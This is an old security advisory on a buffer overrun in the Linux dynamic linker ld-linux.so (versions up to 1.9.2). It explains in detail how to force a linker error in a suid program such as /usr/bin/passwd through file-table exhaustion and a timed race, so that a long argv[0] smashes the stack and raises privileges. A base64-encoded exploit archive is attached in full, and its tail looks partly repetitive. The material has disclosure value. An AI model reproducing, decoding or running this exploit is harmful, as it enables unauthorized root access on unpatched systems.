COMMAND

    ld-linux.so

SYSTEMS AFFECTED

    Linux

PROBLEM

    Rafal Wojtczuk  posted following.  Briefly, there  exists a buffer
    overrun in ld-linux.so versions 1.7.14, 1.8.2, 1.9.2 (others prior
    to 1.9.2 probably too, not  tested) . It occures in  the procedure
    which formats an  error message.   The said procedure  puts into a
    buffer argv[0], not checking its length.   So, if we can force  an
    error during dynamic linking of  a suid program, we can  smash the
    stack with argv[0] contents and gain extra priviledges.

    To perform its job, dynamic linker must open a library file first.
    Let's try to prevent it.

    Scenario 1.
    ----------
    Before execing a suid program, we can use up all file  descriptors
    available for a  single process by  simply opening any  file 256-3
    times (descriptors 0,1,2 are open  anyway).  But execve needs  one
    unused  descriptor  to  work  -  execve  will  fail,  not   giving
    ld-linux.so a chance to misbehave.

    Scenario 2.
    -----------
    We may  create a  race condition,  gambling on  the number of free
    file  table  entries.   First,  let's  spawn  3  processes (called
    eat_desc) which will use up 256 descriptors each and sleep.   Then
    we  spawn  simultaneosly  another  eat_desc  and a program (called
    spawn.c) which executes

        execl("/usr/bin/passwd",long_argv0,0)

    Of course we can utilize any other dynamically linked suid binary.
    Assuming  that  file  table  has  1024 entries (default value) the
    following scenario is possible: spawn.c executes  /usr/bin/passwd.
    Immediately afterwards, a context  switch occures, and the  fourth
    eat_desc starts  executing. It  devours all  remaining file  table
    entries  and   goes  to   sleep.   Another   context  switch   and
    /usr/bin/passwd  (formerly  known  as  spawn.c) executes.  Dynamic
    linker cannot open /lib/libc.so.5 ( error: file table full), cooks
    an error message, an overflows occures. Great. However, a standard
    shellcode is of no use in this case: we can't exec anything (there
    is still no file table entries free!).  Instead of giving up after
    first unsucesful exec, shellcode should first kill one of eat_desc
    processes,  and  then  in  a  loop  infinitely  try to execute the
    program we wish to.  This scenario is possible to accomplish. Yet,
    it's ineffective. We can complicate it, assuring practically  100%
    success ratio.

    Scenario 3.
    -----------
    Let's  try  to  force  a  context switch immediately after spawn.c
    calls exec.  spawn.c should  open a file (called .lock)  receiving
    descriptor  lock_fd  and  set  a  close-on-exec  flag on it.  Then
    spawn.c executes flock(lock_fd,LOCK_EX).  Another program  (called
    noloop) opens .lock and performs flock(noloop_fd,LOCK_EX) as  well
    (and goes  to sleep).   We also  spawn a  program called eat_time,
    which simply does for(;;);, generating some load on the machine. A
    great moment occures: spawn.c does

        execl("/usr/bin/passwd",long_arg0,0)

    As some load  on the machine  is imposed by  eat_time, system call
    exec  (which  is  time-consuming)  should  use  whole time quantum
    available for spawn.c (now this  process is passwd), so a  context
    switch is bound to happen.  (If the attacked machine is  extremely
    fast,  we  may  need  to  spawn  more then one eat_time to achieve
    this).   Noloop starts  excuting.   Spawn.c closed  the descriptor
    lock_fd during exec it performed,  so noloop can get out  of flock
    it was sleeping on ( but not before spawn.c did exec - that's  the
    trick).   Now it's  the time  to devour  all remaining  file table
    entries.   When  control  returns  to  passwd  (formerly  known as
    spawn.c),  dynamic  linker  will  generate  an overflow.  The rest
    resembles Scenario 2.  Some notes:

    a) the whole  scenario should be  performed after we  have used up
       almost all  file table  entries. 3  eat_desc should  be spawned
       first, the fourth should devour all minus three entries.
    b) when  noloop decides  to eat  remaining file  table entries, it
       should first send SIGSTOP to passwd (formerly known as spawn.c)
       Then it  can eat,  not fearing  a context  switch. Finally,  it
       sends SIGCONT to passwd.
    c) some synchronizing between  noloop and spawn.c is  neccessary -
       the  latter  should't  exec  /usr/bin/passwd  before noloop has
       slept  on  the  flock  call.  In  this exploit it is done using
       signal SIGUSR1.  Look at the code for details.
    d) scenario 3  won't work for  linker version 1.7.3,  which at the
       start does open("/dev/zero",O_RDONLY). It fails, but  generated
       error  message  doesn't  contain  argv[0],  so no overflow this
       time.   Scenario  2  can  work:  context  switch  to the fourth
       eat_desc should happen after open("/dev/zero",...) call.

    Exploit follows.  Probably it works best on an idle machine.  More
    precidely, during the  exploit execution the  number of free  file
    table entries  should not  be modified  by any  process other than
    eat*,  noloop,  spawn.   You  may  need  to  change  some  default
    parameters,  for  instance  the  number  of  eat_time processes or
    eat_desc (the  latter if  your kernel  file table  size is greater
    then 1024  or the  limit of  file descriptors  per process is less
    than 256).  If the  exploit doesn't work, you may  experiment with
    DEFAULT_OFFSET in doit.sh

    ---
    Content-Type: application/octet-stream; name="linker.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="linker.tgz"
    Content-MD5: dRaiS52LdlFzR0YFUuoOig==

    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
    /wKPDgNeAFAAAA==

    -----

SOLUTION

    Latest version of linkers (that is at least 1.9.5) cannot be hurt.